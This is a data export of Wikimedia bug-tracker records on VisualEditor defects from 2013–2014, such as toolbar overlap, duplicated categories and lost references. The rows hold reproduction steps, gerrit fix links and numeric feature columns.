+253519,VisualEditor: Selection highlighting breaks if an inline alien wraps,*** Bug 67062 has been marked as a duplicate of this bug. ***,,,1403696547,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-27y3ao6udiwcetvc5juo,task_subcomment,,True,c1,3,True,,,51,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+253516,VisualEditor: Selection highlighting breaks if an inline alien wraps,"Change 139805 merged by jenkins-bot:
+Shields are dead, long live getClientRects
+
+https://gerrit.wikimedia.org/r/139805",,,1402962749,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-27y3ao6udiwcetvc5juo,task_subcomment,,True,c1,3,False,,,50,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+253513,VisualEditor: Selection highlighting breaks if an inline alien wraps,"Change 139805 had a related patch set uploaded by Esanders:
+Shields are dead, long live getClientRects
+
+https://gerrit.wikimedia.org/r/139805",,,1402915741,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-27y3ao6udiwcetvc5juo,task_subcomment,,True,c1,3,False,,,50,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+253509,VisualEditor: Selection highlighting breaks if an inline alien wraps,"Created attachment 13036
+wrapped inline alien: incorrect highlighting in firefox
+
+**Attached**: {F11840}",,,1375300000,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-27y3ao6udiwcetvc5juo,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+253505,VisualEditor: Selection highlighting breaks if an inline alien wraps,"Created attachment 13035
+wrapped inline alien: incorrect highlighting in firefox
+
+//attachment wrapped-inline-alien-firefox.png ignored as obsolete//",,,1375299322,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-27y3ao6udiwcetvc5juo,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+54326,VisualEditor: Toolbar overlaps top of page links,"Toolbar overlapping page head links Firefox 22/Linux/Monobook
+
+In Firefox 22 on Linux with Monobook skin (not tested in other combinations) sometimes the VE toolbar overlaps the page head links and tabs (userpage etc). See the screenshot.
+
+I haven't figured out how to reliably reproduce this but the following sequence /usually/ seems to work.
+1. Make one or more changes to a page in VE
+2. click on an element near the left or bottom of the window (to trigger bug 52317)
+3. open the save page dialog
+4. with the dialog still open, scroll to the very top and very bottom of the page
+5. close the save dialog without saving
+6. click a different element and repeat steps 3 to 5.
+7. scroll to the top of the screen and observe the position of the toolbar.
+
+If it doesn't work, try again from step 2.
+It doesn't always work, but actions like this do seem to trigger it more often than not. I don't know whether this is dependent on bug 52317 but it was in testing that bug that I found this one.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52317
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52433
+
+**Attached**: {F11800}",High,80.0,1375281660,1375936189.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-7gsk7m3csraunlup7tpi,task_description,resolved,True,c1,3,False,False,True,4,,0,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+252828,VisualEditor: Toolbar overlaps top of page links,"I guess https://bugzilla.wikimedia.org/show_bug.cgi?id=52433 is a duplicate then?
+Thanks.",,,1375957512,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-7gsk7m3csraunlup7tpi,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0
+252824,VisualEditor: Toolbar overlaps top of page links,"This was fixed last week (but not deployed yet, sorry) - merging with the other report.
+
+*** This bug has been marked as a duplicate of bug 52441 ***",,,1375936189,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7gsk7m3csraunlup7tpi,task_subcomment,,True,c1,3,True,,,5,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+252819,VisualEditor: Toolbar overlaps top of page links,"users Jay8g and Wouterstomp at en.wp have confirmed this happening in ""Monobook, FF 22, Windows 7"" and in Chrome (presumably on Windows) respectively.
+
+Jay8g provided a screenshot at https://en.wikipedia.org/wiki/File:VE_error-top_bar_over_toolbar.jpg",,,1375860454,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-7gsk7m3csraunlup7tpi,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0
+252812,VisualEditor: Toolbar overlaps top of page links,"**sandrobt.wiki** wrote:
+
+It happen to me several tipe with MacOS 10.6 and Firexfox 22.0. 
+
+I didn't need to do all those step to get this bug, it was enough to scroll down, modify something and then go back up. It doens't always happen, but when it doesn't, it is usually enough to repeati the above operation to get the overlapping.",,,1375560255,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7gsk7m3csraunlup7tpi,task_subcomment,,True,c1,3,False,,,4,,1,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+252806,VisualEditor: Toolbar overlaps top of page links,"User CrypticC62 at en.wp has reproduced this in the following environments:
+
+
+    Firefox 22 / Monobook / Windows Vista: Reproduced (followed steps, occurred in one attempt)
+    Chrome 28 / Vector / Windows Vista: Found similar effect after step 3. See screenshot.
+
+
+The screenshot referred to is [[File:VE Chrome Toolbar Overlap.png]]",,,1375291142,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-7gsk7m3csraunlup7tpi,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+54276,VisualEditor: Localised tag description should link to content language documentation page,"When working with tags in edits, the tag can be localised in the page history (and recent changes, etc.). For example the history of [[mw:Localisation]][1] shows ""(Tag: VisualEditor)"" where ""tag"" links to [[mw:Special:Tags]] and ""VisualEditor"" links to [[mw:VisualEditor]].
+
+When viewing the same history in Dutch[2], this log line part displays as ""Label: Visuele tekstverwerker"", which in itself is a correct localisation for Dutch. When inspecting the links, the following observations are made:
+
+Observed:
+I. ""Label"" links to Special:Tags (expected)
+II. ""Visuele tekstverwerker"" links to ""Visuele tekstverwerker""
+
+Expected:
+III. ""Visuele tekstverwerker"" links to the documentation page in the content language (in this example ""VisualEditor""). Otherwise each wiki would be expected to have documentation in all usable user interface languages (or at least redirects) to avoid red links.
+
+[1] https://www.mediawiki.org/w/index.php?title=Localisation&action=history&uselang=en
+[2] https://www.mediawiki.org/w/index.php?title=Localisation&action=history&uselang=nl
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1375192200,1375216402.0,PHID-USER-w5a723w3wes6jd5wskgg,False,,False,PHID-TASK-nirzuutzqnx7m4wim5ej,task_description,resolved,True,c1,3,False,False,True,4,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,1,1
+249706,VisualEditor: Localised tag description should link to content language documentation page,Fixed; we'll deploy this later today.,,,1375216402,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nirzuutzqnx7m4wim5ej,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+249702,VisualEditor: Localised tag description should link to content language documentation page,"Change 76763 merged by jenkins-bot:
+Partial revert of gerrit 8ed6dfa5423 to avoid i18n mis-links
+
+https://gerrit.wikimedia.org/r/76763",,,1375216159,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nirzuutzqnx7m4wim5ej,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+249699,VisualEditor: Localised tag description should link to content language documentation page,"Change 76763 had a related patch set uploaded by Jforrester:
+Partial revert of gerrit 8ed6dfa5423 to avoid i18n mis-links
+
+https://gerrit.wikimedia.org/r/76763",,,1375213768,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nirzuutzqnx7m4wim5ej,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+249694,VisualEditor: Localised tag description should link to content language documentation page,This was caused by gerrit 75559 - will partially-revert.,,,1375213677,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nirzuutzqnx7m4wim5ej,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+249689,VisualEditor: Localised tag description should link to content language documentation page,Right. It should probably be [[{{MediaWiki:visualeditor-descriptionpagelink}}|VisualEditor]].,,,1375213343,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-nirzuutzqnx7m4wim5ej,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1
+249683,VisualEditor: Localised tag description should link to content language documentation page,"[[mw:MediaWiki:Tag-visualeditor]] is using int: to fetch the visualeditor-descriptionpagelink, that should be done only for the content language. The link should be changed to {{MediaWiki:visualeditor-descriptionpagelink}}.
+
+That is a problem in VisualEditor, moving component",,,1375212767,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-nirzuutzqnx7m4wim5ej,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1
+54271,VisualEditor: Editing a pasted template alters copy buffer. Displayed result differs from saved result.,"Mike Christie at en.wp reports that when performing the sequence: 
+1. copy template, 
+2. paste template, 
+3. edit parameter of pasted template, 
+4. paste template
+Step 4 pastes the template with the parameter values added in step 3 not the original ones.
+
+""To reproduce:
+
+1   Edit [[User:Mike Christie/Sandbox3]] in VE.
+2   Select the 13 C (produced with {{chem|13|C}} ) in the middle using the mouse; make sure to select some text on either side, since pasting a template doesn't work unless it's embedded in a string. The colons are there to make it easy to be sure you've got some text in addition to the template.
+3    Copy the selected text and then paste it at the end of the sentence.
+4    Click on the pasted template, click on the jigsaw piece, and change the 13 in parameter 1 to a 15. Apply changes.
+5    Now paste again at the end of the sentence. You'll see that the pasted template contains a 15, not a 13; so the copy/paste buffer was modified by the edit to the pasted template.""
+
+Another test case using a different template:
+1. Edit https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox&oldid=566402676#Section_3:_tl.2C_etc_templates_added_in_VE in VE
+2. select ""tlp: {{tlp|as of|1999}} :"" and copy it to the clipboard
+3. paste the template elsewhere.
+4. edit the template you have just pasted (change parameter 2 to 2013) and apply the changes.
+5. paste the template again.
+Expected result: tlp: {{tlp|as of|1999}} :
+Actual result: tlp: {{tlp|as of|2013}} :
+
+Interestingly, pasting into a text editor gives the 1999 value as originally copied, not the 2013 value you get pasting into VE.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49396",High,80.0,1375186860,1378248030.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-jtms4kp7m57ptk6ccdpu,task_description,resolved,True,c1,3,False,False,True,4,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+249423,VisualEditor: Editing a pasted template alters copy buffer. Displayed result differs from saved result.,"(In reply to comment #2)
+> This appears to be fixed in master.
+
+Confirmed - fixed in master, broken in wmf15. Marking as such.",,,1378248030,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jtms4kp7m57ptk6ccdpu,task_subcomment,,True,c1,3,True,,,9,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+249416,VisualEditor: Editing a pasted template alters copy buffer. Displayed result differs from saved result.,This appears to be fixed in master.,,,1378232623,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-jtms4kp7m57ptk6ccdpu,task_subcomment,,True,c1,3,True,,,9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+249410,VisualEditor: Editing a pasted template alters copy buffer. Displayed result differs from saved result.,"Mike Christie comments further:
+What is saved is not always what you see on screen.
+
+To reproduce in a sandbox:
+
+Add a template such as {{chem}}; I used 14C, created by {{chem|14|C}}. Put some text on either side of it so you can copy/paste it with text, since templates won't copy/paste successfully by themselves.
+
+Save that page, and edit again.
+
+
+Now copy the template and paste it twice, so you have something like this:
+-- 14C -- -- 14C -- -- 14C --
+
+Now edit the first pasted one -- the middle one in the example above -- so that it changes a parameter:
+
+-- 14C -- -- 12C -- -- 14C --
+
+Paste again; the pasted version will be 12C, which is bug 52271.
+
+a) I've seen two different behaviours for the next step. One is that you'll now see this:
+
+-- 14C -- -- 12C -- -- 14C -- -- 12C --
+
+but when you save the third one will be a 12 -- that is, it will have changed what you see on screen to be different in the saved file.
+
+b) The other behaviour I've seen is that after the final paste, all four of the templates show ""12"", not ""14"".",,,1376043644,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-jtms4kp7m57ptk6ccdpu,task_subcomment,,True,c1,3,False,,,5,,1,1,0,1,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1,1,1,0,1,1,1,0,0,1,1,1,0,1,1,1,1,1,0,1,1,0,0,1,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,1
+54256,"VisualEditor: Link widget in a slug fails with ""No class registered by that name: undefined""","ve.Factory.prototype.create throws an Error, ""No class registered by that name: undefined"" when using the link widget.  It can be reproduced with:
+
+1. Start with blank document
+2. Hit Ctrl-K
+3. Type some page name that doesn't exist
+4. Hit escape twice.
+
+This leaves a broken widget that takes several clicks (not sure the exact pattern here) to clear.
+
+5. Try to open the link widget again.  It won't be possible, either with Ctrl+K or the button.
+
+This is live on English Wikipedia.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50446",High,80.0,1375145700,1377888175.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-alab5hdzxtgqi3cu2eqm,task_description,resolved,True,c1,3,True,False,True,4,,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+248587,"VisualEditor: Link widget in a slug fails with ""No class registered by that name: undefined""",This seems to be fixed by https://gerrit.wikimedia.org/r/#/c/81437/,,,1377888175,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-alab5hdzxtgqi3cu2eqm,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+248582,"VisualEditor: Link widget in a slug fails with ""No class registered by that name: undefined""","It also copies the page name from the link widget to the document as apparent plain text, even though you exit out with double-ESC.",,,1375145903,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-alab5hdzxtgqi3cu2eqm,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+248577,"VisualEditor: Link widget in a slug fails with ""No class registered by that name: undefined""","Created attachment 13014
+Broken link widget after pressing Ctrl-K on empty page, then exiting
+
+**Attached**: {F11679}",,,1375145846,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-alab5hdzxtgqi3cu2eqm,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+54238,VisualEditor: categories being duplicated,"See https://sv.wikipedia.org/w/index.php?title=Tjeckiens_president&diff=22846804&oldid=21540497 and https://pl.wikipedia.org/w/index.php?title=Mi%C4%99dzynarodowa_Federacja_Tenisa_Sto%C5%82owego&curid=407381&diff=37148333&oldid=37118048 - no duplication (ahahaha) steps of which I'm aware, I'm afraid.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54169",High,80.0,1375125960,1375223654.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-rqtkbfxffdpbdagffzia,task_description,resolved,True,c1,3,False,False,True,4,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+247579,VisualEditor: categories being duplicated,Going out in a little while.,,,1375223654,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rqtkbfxffdpbdagffzia,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+247574,VisualEditor: categories being duplicated,"Change 76665 merged by jenkins-bot:
+Don't duplicate categories when unlisting
+
+https://gerrit.wikimedia.org/r/76665",,,1375223085,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rqtkbfxffdpbdagffzia,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+247569,VisualEditor: categories being duplicated,"Change 76665 had a related patch set uploaded by Catrope:
+Don't duplicate categories when unlisting
+
+https://gerrit.wikimedia.org/r/76665",,,1375143043,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rqtkbfxffdpbdagffzia,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+247565,VisualEditor: categories being duplicated,"Isolated test case:
+
+1. Create a page with ""*Foo\n[[Category:Bar]]\n[[Category:Baz]]""
+2. Edit the page in VE
+3. Move the cursor to the end of the list item and press enter. This creates a new list item and puts the cursor in it
+4. Click the list button (the one that's depressed) in the toolbar. This causes the list item to go away and makes the cursor jump out of the list.
+5. Review changes. The diff will duplicate both of the categories at the beginning of the page, preceded by a newline.",,,1375141989,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-rqtkbfxffdpbdagffzia,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+247561,VisualEditor: categories being duplicated,http://youtu.be/1rmp5rTDPOM,,,1375127596,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-rqtkbfxffdpbdagffzia,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+54228,VisualEditor: VE will not save multiple consecutive references,"Following a report of the issue by a user, I attempted to add multiple consecutive references. I began with bare URLs and started with 6. You can see that VE thinks it is going okay (http://en.wikipedia.org/wiki/File:VEmultiref.png), but when you save it only saves one (http://en.wikipedia.org/w/index.php?title=User%3AMdennis_%28WMF%29%2Fsandbox&diff=566304458&oldid=566304152)
+
+I tested it all the way down to two.
+
+In case it was an issue with bare refs, I tried it using citation templates, and it would also not save two in a row. It still only saved one:
+http://en.wikipedia.org/w/index.php?title=User%3AMdennis_%28WMF%29%2Fsandbox&diff=566306613&oldid=566306049
+
+I'm using Chrome, Windows 7.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1375117380,1377824944.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-uxrs32aphojxiommp53x,task_description,resolved,True,c1,3,False,False,True,4,,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+247096,VisualEditor: VE will not save multiple consecutive references,"(In reply to comment #6)
+> Users are reporting that VE is still not saving multiple references:
+
